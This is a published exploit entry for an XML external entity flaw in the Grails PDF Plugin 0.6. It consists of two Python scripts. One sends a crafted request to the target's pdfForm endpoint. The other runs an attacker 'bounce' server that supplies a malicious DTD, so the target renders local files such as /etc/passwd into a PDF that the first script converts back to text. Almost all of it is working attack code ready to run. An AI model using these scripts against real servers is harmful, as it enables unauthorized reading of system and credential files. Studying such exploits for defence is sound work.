1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
# Exploit Title: Grails PDF Plugin 0.6 XXE # Date: 21/02/2017 # Vendor Homepage: http://www.grails.org/plugin/pdf # Software Link: https://github.com/aeischeid/grails-pdfplugin # Exploit Author: Charles FOL # Contact: https://twitter.com/ambionics # Website: https://www.ambionics.io/blog/grails-pdf-plugin-xxe # Version: 0.6 # CVE : N/A 1. dump_file.py #!/usr/bin/python3 # Grails PDF Plugin XXE # cf # https://www.ambionics.io/blog/grails-pdf-plugin-xxe import requests import sys import os # Base URL of the Grails target URL = 'http://10.0.0.179:8080/grailstest' # "Bounce" HTTP Server BOUNCE = 'http://10.0.0.138:7777/' session = requests.Session() pdfForm = '/pdf/pdfForm?url=' renderPage = 'render.html' if len(sys.argv) < 0: print('usage: ./%s <resource>' % sys.argv[0]) print('e.g.:./%s file:///etc/passwd' % sys.argv[0]) exit(0) resource = sys.argv[1] # Build the full URL full_url = URL + pdfForm + pdfForm + BOUNCE + renderPage full_url += '&resource=' + sys.argv[1] r = requests.get(full_url, allow_redirects=False) #print(full_url) if r.status_code != 200: print('Error: %s' % r) else: with open('/tmp/file.pdf', 'wb') as handle: handle.write(r.content) os.system('pdftotext /tmp/file.pdf') with open('/tmp/file.txt', 'r') as handle: print(handle.read(), end='') 2. server.py #!/usr/bin/python3 # Grails PDF Plugin XXE # cf # https://www.ambionics.io/blog/grails-pdf-plugin-xxe # # Server part of the exploitation # # Start it in an empty folder: # $ mkdir /tmp/empty # $ mv server.py /tmp/empty # $ /tmp/empty/server.py import http.server import socketserver import sys BOUNCE_IP = '10.0.0.138' BOUNCE_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80 # Template for the HTML page template = """<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "[RESOURCE]"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://[BOUNCE]/out.dtd"> %dtd; ]> <html> <head> <style> body { font-size: 1px; width: 1000000000px;} </style> </head> <body> <pre>&all;</pre> </body> </html>""" # The external DTD trick allows us to get more files; they would've been invalid # otherwise # See: https://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf dtd = """<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;"> """ # Really hacky. When the render.html page is requested, we extract the # 'resource=XXX' part of the URL and create an HTML file which XXEs it. class GetHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): if 'render.html' in self.path: resource = self.path.split('resource=')[1] print('Resource: %s' % resource) page = template page = page.replace('[RESOURCE]', resource) page = page.replace('[BOUNCE]', '%s:%d' % (BOUNCE_IP, BOUNCE_PORT)) with open('render.html', 'w') as handle: handle.write(page) return super().do_GET() Handler = GetHandler httpd = socketserver.TCPServer(("", BOUNCE_PORT), Handler) with open('out.dtd', 'w') as handle: handle.write(dtd) print("Started HTTP server on port %d, press Ctrl-C to exit..." % BOUNCE_PORT) try: httpd.serve_forever() except KeyboardInterrupt: print("Keyboard interrupt received, exiting.") httpd.server_close() |